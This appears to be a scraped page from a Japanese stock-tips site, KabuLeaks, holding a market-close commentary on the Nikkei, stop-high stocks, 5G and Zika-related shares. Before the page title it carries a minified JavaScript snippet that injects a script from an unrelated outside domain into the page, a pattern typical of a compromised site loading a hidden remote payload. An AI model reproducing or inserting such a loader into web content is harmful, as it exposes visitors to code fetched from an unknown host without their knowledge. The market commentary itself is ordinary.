;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【2/2 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【2/2 大引け】

本日の日経平均株価は114円安と3日ぶり反落。前場の急速に下げ幅を縮小する転換から一転、原油価格のさえない動きや円高が重しとなり再び弱含む展開となった。業種別では、医薬品、水産・農林業、精密機器、電気・ガス業が値上がり率上位に。一方、鉄鋼、鉱業、非鉄金属、不動産業などが値下がり率上位となった。

個別では、アクサスHDの上場承認を好材料視された【3331】雑貨屋ブルドッグが後場急伸し、ストップ高。また、これといった材料は確認されてないが見直し買いの動きからか【3685】みんなのウェディングが大幅高、【3927】アークンはストップ高まで買われた。その他、日銀のマイナス金利発表を受け不動産関連として、また民泊関連としての側面もある【1435】インベスターズクラウド。Trop-2抗体に関する特許について、ニュージーランドにおける特許付与の決定通知を受領したと発表した【4583】カイオム・バイオサイエンスなどもストップ高となった。

テーマ株からは5G関連として前日まで4日連続ストップ高の【3852】サイバーコム。一時は急速に上げ幅を縮小する場面もあったが前場付けた安値は割らず底堅く推移、高値圏ではあるものの再び新値を付けにいく可能性も十分ありそうだ。また、中南米で蚊が媒介する「ジカ熱」が急速に広がっているのを受けて、感染症対策銘柄に物色の矛先が向かい殺虫剤大手の【4985】アース製薬【4998】フマキラー、簡易隔離ブースの【6291】日本エアーテック、サーモグラフィーの【6946】日本アビオニクス上昇。防虫効果のある網戸用の網を展開する【4243】ニックスはストップ高買い気配まま取引を終えた。

日経平均は日銀のマイナス金利導入を支えに底堅いもそろそろ上値の重さも意識されてきている。ただ、現在本格化している企業決算は事前の予想通り堅調との見方も強く好調な企業決算を背景に今後も底堅く、そしてジリ高の展開が続くと予想。国内以外の不安要素、原油安、中国景気減速からの株価急落などには引き続き要警戒。